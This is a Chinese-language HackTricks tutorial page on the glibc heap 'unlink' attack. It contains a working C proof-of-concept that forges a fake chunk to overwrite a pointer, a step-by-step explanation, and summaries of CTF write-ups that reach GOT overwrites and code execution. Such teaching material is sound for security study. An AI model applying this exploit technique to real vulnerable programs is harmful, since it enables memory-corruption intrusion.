Unlink Attack
Reading time: 9 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
当这种攻击被发现时,它主要允许 WWW (Write What Where),然而,一些 检查被添加 使得攻击的新版本更加有趣、更复杂且 无用。
代码示例:
代码
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
- 如果使用了 tcaches(在 2.26 之后),攻击将无法工作
目标
此攻击允许将指向一个块的指针更改为指向其自身之前的 3 个地址。如果这个新位置(指针所在位置的周围)有有趣的内容,比如其他可控的分配/栈等,就可以读取/覆盖它们,从而造成更大的伤害。
- 如果这个指针位于栈中,因为它现在指向自身之前的 3 个地址,用户可能可以读取和修改它,因此可以从栈中泄露敏感信息,甚至可能在不触碰 canary 的情况下修改返回地址。
- 在 CTF 示例中,这个指针位于指向其他分配的指针数组中,因此,将其指向 3 个地址之前并能够读取和写入,就可以使其他指针指向其他地址。
由于用户也可以读取/写入其他分配,他可以泄露信息或在任意位置覆盖新地址(如在 GOT 中)。
要求
- 在内存中(例如栈)有一些控制,以创建几个块并为某些属性赋值。
- 栈泄漏以设置假块的指针。
攻击
- 有几个块(chunk1 和 chunk2)
- 攻击者控制 chunk1 的内容和 chunk2 的头部。
- 在 chunk1 中,攻击者创建一个假块的结构:
- 为了绕过保护,他确保字段
size
是正确的,以避免错误:corrupted size vs. prev_size while consolidating
- 并且假块的字段
fd
和bk
指向 chunk1 指针在内存中的存储位置,偏移量分别为 -3 和 -2,因此fake_chunk->fd->bk
和fake_chunk->bk->fd
指向内存(栈)中 chunk1 地址所在的位置:
- chunk2 的头部被修改,以指示前一个块未使用,并且大小是包含的假块的大小。
- 当第二个块被释放时,这个假块被解除链接,发生:
fake_chunk->fd->bk
=fake_chunk->bk
fake_chunk->bk->fd
=fake_chunk->fd
- 之前已经使得
fake_chunk->fd->bk
和fake_chunk->bk->fd
指向同一个地方(chunk1 存储在栈中的位置,因此这是一个有效的链表)。由于两者都指向同一个位置,只有最后一个(fake_chunk->bk->fd = fake_chunk->fd
)会生效。 - 这将覆盖栈中指向 chunk1 的指针为存储在栈中 3 个地址之前的地址(或字节)。
- 因此,如果攻击者能够再次控制 chunk1 的内容,他将能够在栈中写入,有可能覆盖返回地址,跳过 canary 并修改局部变量的值和指向。甚至再次修改存储在栈中的 chunk1 地址到一个不同的位置,如果攻击者能够再次控制 chunk1 的内容,他将能够在任何地方写入。
- 请注意,这之所以可能是因为地址存储在栈中。风险和利用可能取决于假块的地址存储在哪里。
参考
- https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
- 尽管在 CTF 中发现 unlink 攻击会很奇怪,但这里有一些使用此攻击的写作:
- CTF 示例:https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
- 在这个例子中,栈中有一个 malloc 的地址数组。执行 unlink 攻击以能够在这里分配一个块,因此能够控制 malloc 地址数组的指针。然后,还有另一个功能允许修改这些地址中块的内容,这允许将地址指向 GOT,修改函数地址以获取泄漏和 RCE。
- 另一个 CTF 示例:https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
- 就像在前一个例子中一样,有一个分配地址的数组。可以执行 unlink 攻击,使指向第一个分配的地址指向数组开始之前的几个位置,并在新位置覆盖此分配。因此,可以覆盖其他分配的指针,使其指向 atoi 的 GOT,打印以获取 libc 泄漏,然后用一个 gadget 的地址覆盖 atoi GOT。
- CTF 示例,具有自定义 malloc 和 free 函数,利用与 unlink 攻击非常相似的漏洞:https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
- 有一个溢出,允许控制将被(自定义)释放的 FD 和 BK 指针。此外,堆具有执行位,因此可以泄漏堆地址并将函数从 GOT 指向具有 shellcode 的堆块以执行。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。